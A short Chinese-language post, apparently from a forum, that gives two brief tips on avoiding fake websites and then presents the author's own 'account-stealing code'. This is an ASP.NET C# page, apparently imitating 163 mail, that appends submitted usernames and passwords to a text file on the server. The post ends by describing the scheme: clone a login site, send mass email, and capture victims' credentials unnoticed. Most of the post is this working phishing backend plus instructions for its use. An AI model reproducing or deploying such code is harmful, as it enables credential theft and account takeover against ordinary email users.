1 不要随便打开不正规的网站
2.看看网址是不是正确,可能有仿照的网站
这是我写的盗号代码
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Text.RegularExpressions;
using System.Data.SqlClient;
public partial class _163 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!this.IsPostBack)
{
switch (GetQuery()[0])
{
case "save":
Save();
break;
default:
break;
}
}
}
private string[] GetQuery()
{
string qurystr = Convert.ToString(Request.ServerVariables["QUERY_STRING"]).Trim().ToLower();
if (qurystr.IndexOf("/_", 0) >= 0)
{
string[] strlist = Regex.Split(qurystr, "/_", RegexOptions.IgnoreCase)[1].Split(new char[] { '/' });
return strlist;
}
else
{
return new string[] { "" };
}
}
private void Save()
{
string Directorypath = Server.MapPath("~/Users/");//
if (!Directory.Exists(Directorypath))
{
Directory.CreateDirectory(Directorypath);
}
FileInfo filestroe = new FileInfo(Directorypath + "1.txt");
FileStream fs = filestroe.Open(FileMode.Append, FileAccess.Write);
//int s=fs.ReadByte();
//Response.Write( fs.Position);
string name1 = Request.Form["username"].ToString().Trim();
string pass1 = Request.Form["password"].ToString().Trim();
string UserName = name1 + "|";
string Password = pass1 + "|";
byte[] encoded = new UTF8Encoding(true).GetBytes(UserName + Password);
fs.Write(encoded, 0, encoded.Length);
fs.Close();
}
}
仿照网站,然后邮件群发,只要他人登陆邮件的地址仿照网站,输入号码,神不知鬼不觉的被我知道你的号码和密码!